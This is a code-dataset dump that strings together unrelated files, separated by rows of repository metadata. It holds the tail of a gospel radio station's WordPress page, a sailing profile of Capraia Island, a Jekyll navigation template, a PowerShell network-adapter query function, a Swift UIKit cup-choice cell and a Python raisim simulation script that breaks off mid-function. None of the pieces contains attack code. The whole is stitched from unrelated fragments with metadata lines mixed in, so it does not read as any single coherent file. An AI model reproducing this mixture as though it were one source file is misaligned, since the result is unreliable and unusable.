<div data-id="1b7da16" class="elementor-element elementor-element-1b7da16 elementor-column elementor-col-100 elementor-inner-column" data-element_type="column">
<div class="elementor-column-wrap elementor-element-populated">
<div class="elementor-widget-wrap">
<div data-id="e771c6c" class="elementor-element elementor-element-e771c6c elementor-widget elementor-widget-heading" data-element_type="heading.default">
<div class="elementor-widget-container">
<h2 class="elementor-heading-title elementor-size-default">"We're Your Christian Voice"</h2> </div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<div data-id="5348fca" class="elementor-element elementor-element-5348fca elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
<div class="elementor-widget-container">
<div class="elementor-text-editor elementor-clearfix"><p><strong>WYCV </strong>has been a full time Southern Gospel Station since 1983, and operates at 900Khz (900AM) with a clear channel. We currently broadcast 24hrs. a day 7 days a week. <strong><br /> </strong>We’re a commercial station reaching a population of over 600,000 people, transmitting at 2500 watts.<strong><br /> WYCV </strong>– Gospel 9 Radio – is owned and operated by Freedom Broadcasting<br /> Corporation. President and General Manager, Dr. Marvin “Buddy” Sizemore. <strong><br /> </strong>The studio is located at 398 South Main Street (US Highway 321-A) Granite Falls, NC, less than 2 miles from the city limits and 3 miles from Hickory, NC<strong>.</strong></p><p>Our goal is to reach the lost for Christ and encourage believers through great sermons and Southern Gospel Music.</p><div class="user area_b"><div>Let us know what you think. Our listeners are the back-bone of<strong> WYCV Gospel 9.</strong></div><div><p>We look forward to hearing from you.</p><p><em><a href="mailto:wycvradio@charter.net">E-MAIL US</a></em></p></div></div></div>
</div>
</div>
</div>
</div>
</div>
<div data-id="609aa42" class="elementor-element elementor-element-609aa42 elementor-column elementor-col-33 elementor-top-column" data-element_type="column">
<div class="elementor-column-wrap elementor-element-populated">
<div class="elementor-widget-wrap">
<div data-id="2695dc5" class="elementor-element elementor-element-2695dc5 elementor-widget elementor-widget-sidebar" data-element_type="sidebar.default">
<div class="elementor-widget-container">
<aside id="text-3" class="widget widget_text clearfix"><h3 class="widget-title"><span>Listen To Gospel9 Radio</span></h3> <div class="textwidget"><p><strong><center><a href="http://wycv.streamon.fm/player/index.php?username=WYCV&stream=44k" target="_blank" rel="noopener">Click Here</a></center></strong></p>
</div>
</aside><aside id="calendar-2" class="widget widget_calendar clearfix"><div id="calendar_wrap" class="calendar_wrap"><table id="wp-calendar">
<caption>August 2018</caption>
<thead>
<tr>
<th scope="col" title="Sunday">S</th>
<th scope="col" title="Monday">M</th>
<th scope="col" title="Tuesday">T</th>
<th scope="col" title="Wednesday">W</th>
<th scope="col" title="Thursday">T</th>
<th scope="col" title="Friday">F</th>
<th scope="col" title="Saturday">S</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="3" id="prev"><a href="http://www.gospel9.com/index.php/2018/03/">« Mar</a></td>
<td class="pad"> </td>
<td colspan="3" id="next" class="pad"> </td>
</tr>
</tfoot>
<tbody>
<tr>
<td colspan="3" class="pad"> </td><td>1</td><td>2</td><td>3</td><td>4</td>
</tr>
<tr>
<td>5</td><td>6</td><td>7</td><td>8</td><td>9</td><td>10</td><td>11</td>
</tr>
<tr>
<td>12</td><td>13</td><td>14</td><td>15</td><td>16</td><td>17</td><td>18</td>
</tr>
<tr>
<td>19</td><td>20</td><td>21</td><td>22</td><td>23</td><td>24</td><td>25</td>
</tr>
<tr>
<td>26</td><td id="today">27</td><td>28</td><td>29</td><td>30</td><td>31</td>
<td class="pad" colspan="1"> </td>
</tr>
</tbody>
</table></div></aside> </div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section data-id="d53872f" class="elementor-element elementor-element-d53872f elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-settings="{"background_background":"classic"}" data-element_type="section">
<div class="elementor-container elementor-column-gap-default">
<div class="elementor-row">
<div data-id="b5665a9" class="elementor-element elementor-element-b5665a9 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
<div class="elementor-column-wrap elementor-element-populated">
<div class="elementor-widget-wrap">
<div data-id="8ea5b09" class="elementor-element elementor-element-8ea5b09 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
<div class="elementor-widget-container">
<div class="elementor-text-editor elementor-clearfix"><p>Copyright © 2017 <a title="WYCV Gospel Radio" href="http://www.gospel9.com/">WYCV Gospel Radio</a>. All rights reserved.</p></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
</div>
</div>
<div class="entry-footer">
</div>
</article>
</div>
</div>
</div>
<div id="secondary">
<aside id="text-2" class="widget widget_text clearfix"> <div class="textwidget"></div>
</aside>
</div> </div>
<script type='text/javascript' src='https://www.google.com/recaptcha/api.js?ver=3'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/themes/colormag/js/jquery.bxslider.min.js?ver=4.2.10'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/themes/colormag/js/colormag-slider-setting.js?ver=4.9.8'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/themes/colormag/js/navigation.js?ver=4.9.8'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/themes/colormag/js/fitvids/jquery.fitvids.js?ver=20150311'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/themes/colormag/js/fitvids/fitvids-setting.js?ver=20150311'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/ajax-event-calendar/js/jquery.fullcalendar.min.js?ver=1.5.3'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/ajax-event-calendar/js/jquery.simplemodal.1.4.3.min.js?ver=1.4.3'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/ajax-event-calendar/js/jquery.mousewheel.min.js?ver=3.0.6'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/ajax-event-calendar/js/jquery.jgrowl.min.js?ver=1.2.5'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-includes/js/jquery/ui/core.min.js?ver=1.11.4'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-includes/js/jquery/ui/datepicker.min.js?ver=1.11.4'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var custom = {"is_rtl":"","locale":"en","start_of_week":"0","step_interval":"30","datepicker_format":"mm\/dd\/yy","is24HrTime":"","show_weekends":"1","agenda_time_format":"h:mmt{ - h:mmt}","other_time_format":"h:mmt","axis_time_format":"h:mmt","limit":"1","today":"Today","all_day":"All Day","years":"Years","year":"Year","months":"Months","month":"Month","weeks":"Weeks","week":"Week","days":"Days","day":"Day","hours":"Hours","hour":"Hour","minutes":"Minutes","minute":"Minute","january":"January","february":"February","march":"March","april":"April","may":"May","june":"June","july":"July","august":"August","september":"September","october":"October","november":"November","december":"December","jan":"Jan","feb":"Feb","mar":"Mar","apr":"Apr","may_short":"May","jun":"Jun","jul":"Jul","aug":"Aug","sep":"Sep","oct":"Oct","nov":"Nov","dec":"Dec","sunday":"Sunday","monday":"Monday","tuesday":"Tuesday","wednesday":"Wednesday","thursday":"Thursday","friday":"Friday","saturday":"Saturday","sun":"Sun","mon":"Mon","tue":"Tue","wed":"Wed","thu":"Thu","fri":"Fri","sat":"Sat","close_event_form":"Close Event Form","loading_event_form":"Loading Event Form...","update_btn":"Update","delete_btn":"Delete","category_type":"Category type","hide_all_notifications":"hide all notifications","has_been_created":"has been created.","has_been_modified":"has been modified.","has_been_deleted":"has been deleted.","add_event":"Add Event","edit_event":"Edit Event","delete_event":"Delete this event?","loading":"Loading Events...","category_filter_label":"Category filter label","repeats_every":"Repeats Every","until":"Until","success":"Success!","whoops":"Whoops!","ajaxurl":"http:\/\/www.gospel9.com\/wp-admin\/admin-ajax.php","editable":""};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/ajax-event-calendar/js/jquery.init_show_calendar.js?ver=1.0.4'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-includes/js/wp-embed.min.js?ver=4.9.8'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js?ver=1.0.1'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js?ver=2.1.5'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var ElementorProFrontendConfig = {"ajaxurl":"http:\/\/www.gospel9.com\/wp-admin\/admin-ajax.php","nonce":"f86a7110d8","shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"google":{"title":"Google+","has_counter":true},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"delicious":{"title":"Delicious"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"}},"facebook_sdk":{"lang":"en","app_id":""}};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=2.1.5'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-includes/js/jquery/ui/position.min.js?ver=1.11.4'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.4.1'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2'></script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.jquery.min.js?ver=4.4.3'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var elementorFrontendConfig = {"isEditMode":"","is_rtl":"","breakpoints":{"xs":0,"sm":480,"md":481,"lg":769,"xl":1440,"xxl":1600},"urls":{"assets":"http:\/\/www.gospel9.com\/wp-content\/plugins\/elementor\/assets\/"},"settings":{"page":[],"general":{"elementor_global_image_lightbox":"yes","elementor_enable_lightbox_in_editor":"yes"}},"post":{"id":357,"title":"Welcome","excerpt":""}};
/* ]]> */
</script>
<script type='text/javascript' src='http://www.gospel9.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=2.1.8'></script>
</body>
</html>
| 86.034783 | 1,782 | 0.726754 |
5a568ebae3b49ca21beeb0b4fa59b930869c2b9c | 2,038 | html | HTML | www/data/italy/city/capraia-island.html | landho-app/landho-phonegap | 1b0390ffccf78a9fab4b4280ab4512fe4fea25fb | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | www/data/italy/city/capraia-island.html | landho-app/landho-phonegap | 1b0390ffccf78a9fab4b4280ab4512fe4fea25fb | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | www/data/italy/city/capraia-island.html | landho-app/landho-phonegap | 1b0390ffccf78a9fab4b4280ab4512fe4fea25fb | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2018-12-07T16:57:24.000Z | 2018-12-07T16:57:24.000Z | <div id="noonsite-sections">
<h1>
<img alt="" height="36" src="/images/flags/it.gif/image" title="" width="54"/>
Capraia Island - Profile
</h1>
<h2 id="Location">
Location
</h2>
<div class="hello"><div><p>Not to be confused with Capri!. This small island lies east of the northern tip of Corsica and NW of Elba. It is part of the Arcipelago Toscano National Park. Apart from the port area, this mountainous island is uninhabited.</p>
</div></div>
<div class="hello"><div></div></div>
<p></p>
<h2 id="Docking">
Docking
</h2>
<div class="hello"><div><p>In addition to berths in the port, there are 20 new visitors' buoys just outside this popular destination.</p>
<p>It is also possible to anchor here.</p>
<p>Shelter is good except from the east.</p>
<p>Last updated June 2011.</p>
</div></div>
<div>
<div>
<div class="sponsorLevel0 facilityViewlet">
<span style="font-weight:bold">Marina di Capraia Isola</span>
<!-- it looks that in Generals that information should be seen as well -->
<div>
Taking 50 Street, int. Salata
, 57032 Capraia
</div>
<div>
Tel:+39 0586905307 - Cell +39 3383744102
Fax:+39 0586905307
</div>
<div>
<a href="http://www.portodicapraia.it/">http://www.portodicapraia.it/</a>
,
<a href="mailto:portocapraia@virgilio.it">portocapraia@virgilio.it</a>
</div>
<div>
</div>
</div>
</div>
</div>
<div>
<div>
<div class="sponsorLevel0 facilityViewlet">
<span style="font-weight:bold">Porto di Capraia isola</span>
<!-- it looks that in Generals that information should be seen as well -->
<div>
57032 Capraia Isola Leghorn
, Italy
</div>
<div>
</div>
<div>
</div>
<div>
Latitude: 43° 3' 2" N - Longitude: 9° 50' 11" E<br>
Moor to the quay.
</br></div>
</div>
</div>
</div>
<div class="hello"><div></div></div>
<p></p>
</div> | 27.540541 | 255 | 0.587831 |
743e0ffc7a6dbf527782d5fef68f17654fa94a60 | 1,130 | html | HTML | _includes/treebuilder.html | sgajjar/docker.github.io | a3a7ae1e0b691151bb039337bd7c7745ff70534a | [
"Apache-2.0"
] | 2 | 2017-04-14T10:43:27.000Z | 2017-04-17T10:09:11.000Z | _includes/treebuilder.html | sgajjar/docker.github.io | a3a7ae1e0b691151bb039337bd7c7745ff70534a | [
"Apache-2.0"
] | null | null | null | _includes/treebuilder.html | sgajjar/docker.github.io | a3a7ae1e0b691151bb039337bd7c7745ff70534a | [
"Apache-2.0"
] | 1 | 2021-02-12T15:48:38.000Z | 2021-02-12T15:48:38.000Z | {% assign topicFound="false" %}
{% for section in site.data.toc.horizontalnav %}
{% assign activeCSS = "" %}
{% if topicFound=="false" %}
{% if section.node == "glossary" %}
{% capture leftnav %}{% for entry in site.data.glossary %}
<li><a href="/glossary/?term={{ entry[0] }}">{{ entry[0] }}</a></li>{% endfor %}{% endcapture %}
{% if page.url == "/glossary/" %}
{% assign topicFound = "true" %}
{% capture leftnav %}<li><a href="/glossary/" class="active currentPage">Glossary Home</a></li>{{ leftnav }}{% endcapture %}
{% endif %}
{% else %}
{% assign tree = site.data.toc[section.node] %}
{% capture thisSection %}{% include tree.html %}{% endcapture %}
{% if section.path == page.url or thisSection contains "active currentPage" %}
{% capture leftnav %}{{ thisSection }}{% endcapture %}
{% capture activeCSS %} class="active"{% endcapture %}
{% assign topicFound="true" %}
{% endif %}
{% endif %}
{% endif %}
<li id="{{ section.node }}"{{ activeCSS }}><a href="{{ section.path }}">{{ section.title }}</a></li>
{% endfor %}
| 47.083333 | 130 | 0.557522 |
8a734c62545d50c7491ebc0f2fbda748b42a4e2a | 5,773 | ps1 | PowerShell | Modules/Project.Windows.ComputerInfo/Public/Get-ConfiguredAdapter.ps1 | rebubula/WindowsFirewallRuleset | 5f1e7fac6a5ebdefe56e7e2d6978df134a03b324 | [
"MIT"
] | 1 | 2020-12-26T20:49:47.000Z | 2020-12-26T20:49:47.000Z | Modules/Project.Windows.ComputerInfo/Public/Get-ConfiguredAdapter.ps1 | rebubula/WindowsFirewallRuleset | 5f1e7fac6a5ebdefe56e7e2d6978df134a03b324 | [
"MIT"
] | null | null | null | Modules/Project.Windows.ComputerInfo/Public/Get-ConfiguredAdapter.ps1 | rebubula/WindowsFirewallRuleset | 5f1e7fac6a5ebdefe56e7e2d6978df134a03b324 | [
"MIT"
] | null | null | null |
<#
MIT License
This file is part of "Windows Firewall Ruleset" project
Homepage: https://github.com/metablaster/WindowsFirewallRuleset
Copyright (C) 2019, 2020 metablaster zebal@protonmail.ch
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
#>
<#
.SYNOPSIS
Method to get configured adapters
.DESCRIPTION
Return list of all configured adapters and their configuration.
Applies to adapters which have an IP assigned regardless if connected to network.
This conditionally includes virtual and hidden adapters such as Hyper-V adapters on all compartments.
.PARAMETER AddressFamily
IP version for which to obtain adapters, IPv4 or IPv6
.PARAMETER ExcludeHardware
Exclude hardware/physical network adapters
.PARAMETER IncludeAll
Include all possible adapter types present on target computer
.PARAMETER IncludeVirtual
Whether to include virtual adapters
.PARAMETER IncludeHidden
Whether to include hidden adapters
.PARAMETER IncludeDisconnected
Whether to include disconnected
.EXAMPLE
Get-ConfiguredAdapter "IPv4"
.EXAMPLE
Get-ConfiguredAdapter "IPv6"
.INPUTS
None. You cannot pipe objects to Get-ConfiguredAdapter
.OUTPUTS
[NetIPConfiguration] or error message if no adapter configured
.NOTES
TODO: Loopback interface is missing in the output
#>
function Get-ConfiguredAdapter
{
# TODO: doesn't work [OutputType([System.Net.NetIPConfiguration])]
[CmdletBinding(DefaultParameterSetName = "Individual")]
param (
[Parameter(Mandatory = $true, Position = 0)]
[ValidateSet("IPv4", "IPv6")]
[Parameter(ParameterSetName = "All")]
[Parameter(ParameterSetName = "Individual")]
[string] $AddressFamily,
[Parameter(ParameterSetName = "All")]
[Parameter(ParameterSetName = "Individual")]
[switch] $ExcludeHardware,
[Parameter(ParameterSetName = "All")]
[switch] $IncludeAll,
[Parameter(ParameterSetName = "Individual")]
[switch] $IncludeVirtual,
[Parameter(ParameterSetName = "Individual")]
[switch] $IncludeHidden,
[Parameter(ParameterSetName = "Individual")]
[switch] $IncludeDisconnected
)
Write-Debug -Message "[$($MyInvocation.InvocationName)] params($($PSBoundParameters.Values))"
Write-Verbose -Message "[$($MyInvocation.InvocationName)] Getting connected adapters for $AddressFamily network"
if ($AddressFamily.ToString() -eq "IPv4")
{
if ($IncludeDisconnected -or $IncludeAll)
{
$AllConfiguredAdapters = Get-NetIPConfiguration -AllCompartments | Where-Object -Property IPv4Address
}
else
{
$AllConfiguredAdapters = Get-NetIPConfiguration -AllCompartments | Where-Object {
$_.IPv4Address -and $_.IPv4DefaultGateway
}
}
}
else
{
if ($IncludeDisconnected -or $IncludeAll)
{
$AllConfiguredAdapters = Get-NetIPConfiguration -AllCompartments | Where-Object -Property IPv6Address
}
else
{
$AllConfiguredAdapters = Get-NetIPConfiguration -AllCompartments | Where-Object {
$_.IPv6Address -and $_.IPv6DefaultGateway
}
}
}
if (!$AllConfiguredAdapters)
{
Write-Error -Category ObjectNotFound -TargetObject "AllConfiguredAdapters" `
-Message "None of the adapters is configured for $AddressFamily"
return $null
}
# Get-NetIPConfiguration does not tell us adapter type (hardware, hidden or virtual)
[PSCustomObject[]] $RequestedAdapters = @()
if (!$ExcludeHardware)
{
$RequestedAdapters = Get-NetAdapter |
Where-Object { $_.HardwareInterface -eq "True" }
}
# Include virtual or hidden to hardware interfaces
if ($IncludeVirtual -or $IncludeAll)
{
$RequestedAdapters += Get-NetAdapter |
Where-Object { $_.Virtual -eq "True" }
}
if ($IncludeHidden -or $IncludeAll)
{
$RequestedAdapters += Get-NetAdapter -IncludeHidden |
Where-Object { $_.Hidden -eq "True" }
}
if (!$RequestedAdapters)
{
Write-Error -Category ObjectNotFound -TargetObject "RequestedAdapters" `
-Message "None of the adapters matches search criteria for $AddressFamily"
return $null
}
[Uint32[]] $ValidAdapters = $RequestedAdapters | Select-Object -ExpandProperty ifIndex
$ConfiguredAdapters = @()
if (![string]::IsNullOrEmpty($ValidAdapters))
{
$ConfiguredAdapters = $AllConfiguredAdapters | Where-Object {
[array]::Find($ValidAdapters, [System.Predicate[Uint32]] { $_.InterfaceIndex -eq $args[0] })
}
}
$Count = ($ConfiguredAdapters | Measure-Object).Count
if ($Count -eq 0)
{
Write-Error -Category ObjectNotFound -TargetObject "ConfiguredAdapters" `
-Message "None of the adapters is configured for $AddressFamily with given criteria"
}
elseif ($Count -gt 1)
{
Write-Information -Tags "User" -MessageData "INFO: Multiple adapters are configured for $AddressFamily"
}
return $ConfiguredAdapters
}
| 33.178161 | 114 | 0.739304 |
372b4f6743d98598bee16bb2a0438f9842e4e582 | 6,429 | swift | Swift | StarbucksClone/StarbucksClone/SirenOrder/MenuDetail/Views/Cell/FourthChooseCupTableViewCell.swift | foxwavez/starbucksClone | 8fd3970925473aa61caf13fd28b24b7b9171c725 | [
"MIT"
] | 6 | 2020-05-06T09:18:51.000Z | 2020-12-29T19:06:31.000Z | StarbucksClone/StarbucksClone/SirenOrder/MenuDetail/Views/Cell/FourthChooseCupTableViewCell.swift | foxwavez/starbucksClone | 8fd3970925473aa61caf13fd28b24b7b9171c725 | [
"MIT"
] | 45 | 2020-05-06T09:09:07.000Z | 2020-06-22T10:55:47.000Z | StarbucksClone/StarbucksClone/SirenOrder/MenuDetail/Views/Cell/FourthChooseCupTableViewCell.swift | foxwavez/starbucksClone | 8fd3970925473aa61caf13fd28b24b7b9171c725 | [
"MIT"
] | 4 | 2020-05-06T07:57:47.000Z | 2020-05-18T16:30:27.000Z | //
// FourthChooseCupTableViewCell.swift
// StarbucksClone
//
// Created by Mac mini on 2020/06/16.
// Copyright © 2020 momo. All rights reserved.
//
import UIKit
class FourthChooseCupTableViewCell: UITableViewCell {
// MARK: Property
static let identifier = "ChooseCup"
// MARK: Views
private let chooseCupLabel = UILabel().then {
$0.text = "컵 선택"
$0.textColor = #colorLiteral(red: 0.2549019754, green: 0.2745098174, blue: 0.3019607961, alpha: 1)
$0.font = UIFont.systemFont(ofSize: 13)
}
private let cupMsgLabel = UILabel().then {
$0.text = " 환경보호를 위해 매장 내에서는 머그컵을 사용해주세요. "
$0.textColor = .white
$0.font = UIFont.systemFont(ofSize: 12)
$0.backgroundColor = #colorLiteral(red: 0.2100584805, green: 0.6369680166, blue: 0.5805844665, alpha: 1)
$0.layer.borderColor = #colorLiteral(red: 0.2100584805, green: 0.6369680166, blue: 0.5805844665, alpha: 1)
$0.layer.borderWidth = 1
$0.layer.cornerRadius = 10
$0.clipsToBounds = true
}
private let buttonView = UIView().then {
$0.backgroundColor = .clear
$0.layer.borderColor = #colorLiteral(red: 0.6666666865, green: 0.6666666865, blue: 0.6666666865, alpha: 1)
$0.layer.borderWidth = 1
$0.layer.cornerRadius = 2
}
private let lineView1 = UIView().then {
$0.backgroundColor = #colorLiteral(red: 0.6666666865, green: 0.6666666865, blue: 0.6666666865, alpha: 1)
}
private let lineView2 = UIView().then {
$0.backgroundColor = #colorLiteral(red: 0.6666666865, green: 0.6666666865, blue: 0.6666666865, alpha: 1)
}
private let mugCupButton = UIButton().then {
$0.setTitle("매장컵", for: .normal)
$0.setTitleColor(#colorLiteral(red: 0.3333333433, green: 0.3333333433, blue: 0.3333333433, alpha: 1), for: .normal)
$0.titleLabel?.font = UIFont.systemFont(ofSize: 12)
}
private let personalCupButton = UIButton().then {
$0.setTitle("개인컵", for: .normal)
$0.setTitleColor(#colorLiteral(red: 0.3333333433, green: 0.3333333433, blue: 0.3333333433, alpha: 1), for: .normal)
$0.titleLabel?.font = UIFont.systemFont(ofSize: 12)
}
private let plasticCupButton = UIButton().then {
$0.setTitle("일회용컵", for: .normal)
$0.setTitleColor(#colorLiteral(red: 0.3333333433, green: 0.3333333433, blue: 0.3333333433, alpha: 1), for: .normal)
$0.titleLabel?.font = UIFont.systemFont(ofSize: 12)
}
// MARK: Initialize
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupUI()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func setupUI() {
setupAttributes()
setupConstraints()
}
private func setupAttributes() {
self.mugCupButton.addTarget(self, action: #selector(didTapStoreCup(_:)), for: .touchUpInside)
self.personalCupButton.addTarget(self, action: #selector(didTapPersonalCup(_:)), for: .touchUpInside)
self.plasticCupButton.addTarget(self, action: #selector(didTapPlasticCup(_:)), for: .touchUpInside)
}
private func setupConstraints() {
let spacing: CGFloat = 10
let cellWidth = (UIScreen.main.bounds.width) - (spacing * 2)
self.chooseCupLabel.then { self.contentView.addSubview($0) }
.snp.makeConstraints {
$0.top.leading.equalToSuperview().offset(spacing)
}
self.cupMsgLabel.then { self.contentView.addSubview($0) }
.snp.makeConstraints {
$0.bottom.equalTo(chooseCupLabel)
$0.trailing.equalToSuperview().offset(-spacing)
$0.height.equalTo(20)
}
self.buttonView.then { self.contentView.addSubview($0) }
.snp.makeConstraints {
$0.top.equalTo(chooseCupLabel.snp.bottom).offset(spacing)
$0.leading.trailing.bottom.equalToSuperview().inset(spacing)
$0.height.equalTo(cellWidth / 10)
}
self.lineView1.then { self.buttonView.addSubview($0) }
.snp.makeConstraints {
$0.top.bottom.equalTo(buttonView)
$0.leading.equalTo(buttonView).offset(cellWidth / 3)
$0.width.equalTo(1)
}
self.lineView2.then { self.buttonView.addSubview($0) }
.snp.makeConstraints {
$0.top.bottom.equalTo(buttonView)
$0.leading.equalTo(buttonView.snp.trailing).offset(-cellWidth / 3)
$0.width.equalTo(1)
}
self.mugCupButton.then { self.buttonView.addSubview($0) }
.snp.makeConstraints {
$0.leading.top.height.equalTo(buttonView)
$0.width.equalTo(cellWidth / 3)
}
self.personalCupButton.then { self.buttonView.addSubview($0) }
.snp.makeConstraints {
$0.top.height.equalTo(buttonView)
$0.leading.equalTo(mugCupButton.snp.trailing)
$0.width.equalTo(cellWidth / 3)
}
self.plasticCupButton.then { self.buttonView.addSubview($0) }
.snp.makeConstraints {
$0.top.trailing.height.equalTo(buttonView)
$0.width.equalTo(cellWidth / 3)
}
}
// MARK: Actions
@objc func didTapPlasticCup(_ sender: Any) {
plasticCupButton.backgroundColor = #colorLiteral(red: 0.501960814, green: 0.501960814, blue: 0.501960814, alpha: 1)
plasticCupButton.setTitleColor(.white, for: .normal)
cupMsgLabel.text = " ✓컵 선택이 완료되었습니다. "
[personalCupButton, mugCupButton].forEach {
$0.setTitleColor(#colorLiteral(red: 0.501960814, green: 0.501960814, blue: 0.501960814, alpha: 1), for: .normal)
$0.backgroundColor = .clear
}
}
@objc func didTapPersonalCup(_ sender: Any) {
personalCupButton.backgroundColor = #colorLiteral(red: 0.501960814, green: 0.501960814, blue: 0.501960814, alpha: 1)
personalCupButton.setTitleColor(.white, for: .normal)
cupMsgLabel.text = " ☘️환경보호에 동참해주셔서 감사합니다. "
[plasticCupButton, mugCupButton].forEach {
$0.setTitleColor(#colorLiteral(red: 0.501960814, green: 0.501960814, blue: 0.501960814, alpha: 1), for: .normal)
$0.backgroundColor = .clear
}
}
@objc func didTapStoreCup(_ sender: Any) {
mugCupButton.backgroundColor = #colorLiteral(red: 0.501960814, green: 0.501960814, blue: 0.501960814, alpha: 1)
mugCupButton.setTitleColor(.white, for: .normal)
cupMsgLabel.text = " ☘️환경보호에 동참해주셔서 감사합니다. "
[personalCupButton, plasticCupButton].forEach {
$0.setTitleColor(#colorLiteral(red: 0.501960814, green: 0.501960814, blue: 0.501960814, alpha: 1), for: .normal)
$0.backgroundColor = .clear
}
}
}
| 39.931677 | 120 | 0.678021 |
40b1ebd482c78e3c61706fd8c7382318ce296f3f | 8,560 | py | Python | model_raisim/DRMPC/SaTiZ_3D/material.py | Stylite-Y/XArm-Simulation | 654dca390e635b6294a8b5066727d0f4d6736eb1 | [
"MIT"
] | null | null | null | model_raisim/DRMPC/SaTiZ_3D/material.py | Stylite-Y/XArm-Simulation | 654dca390e635b6294a8b5066727d0f4d6736eb1 | [
"MIT"
] | null | null | null | model_raisim/DRMPC/SaTiZ_3D/material.py | Stylite-Y/XArm-Simulation | 654dca390e635b6294a8b5066727d0f4d6736eb1 | [
"MIT"
] | null | null | null | import os
import sys
import math
import yaml
import time
import pickle
import random
import datetime
import numpy as np
import raisimpy as raisim
import matplotlib.pyplot as plt
def FileSave(T, BallVelocity, BallFroce, ball_y, ball_vy, miu_F, C_r, V_th):
today=datetime.date.today()
# print(data['state'][0:100, 0])
RandNum = random.randint(0,100)
name = str(today) + '-Vy_' + str(ball_vy) + '-miu_'+ str(miu_F) + '-Coef-Restitute_' + str(C_r) + '-V_th_' + str(V_th) + '.pkl'
pathDir = './material_data/'
# print(name)
# 如果目录不存在,则创建
todaytime = str(today)
filename = 'Vy_' + str(ball_vy) + '-miu_'+ str(miu_F) + '-Coef-Restitute_' + str(C_r) + '-V_th_' + str(V_th)
save_dir = os.path.join(pathDir, todaytime) + '/' + filename + '/'
if not os.path.isdir(save_dir):
os.makedirs(save_dir)
# 数据文件保存
if os.path.exists(os.path.join(save_dir, name)):
name = str(today) + '-Vy_' + str(ball_vy) + '-miu_'+ str(miu_F) + '-Coef-Restitute_' + str(C_r) + '-V_th_' + str(V_th) + '.pkl'
Data = {"BallVelocity": BallVelocity, "BallFroce": BallFroce, "time": T}
with open(os.path.join(save_dir, name), 'wb') as f:
pickle.dump(Data, f)
def FigPlot(T, BallVelocity, BallFroce, ball_vy, miu_F, C_r, V_th):
fig, ax1 = plt.subplots()
BallVel_y = BallVelocity[:, 0]
BallVel_z = BallVelocity[:, 1]
ax1.set_xlabel('time (s)')
ax1.set_ylabel('Vel-y')
p1, = ax1.plot(T, BallVel_y, label="y-axis velocity")
ax1.tick_params(axis='y')
ax2 = ax1.twinx()
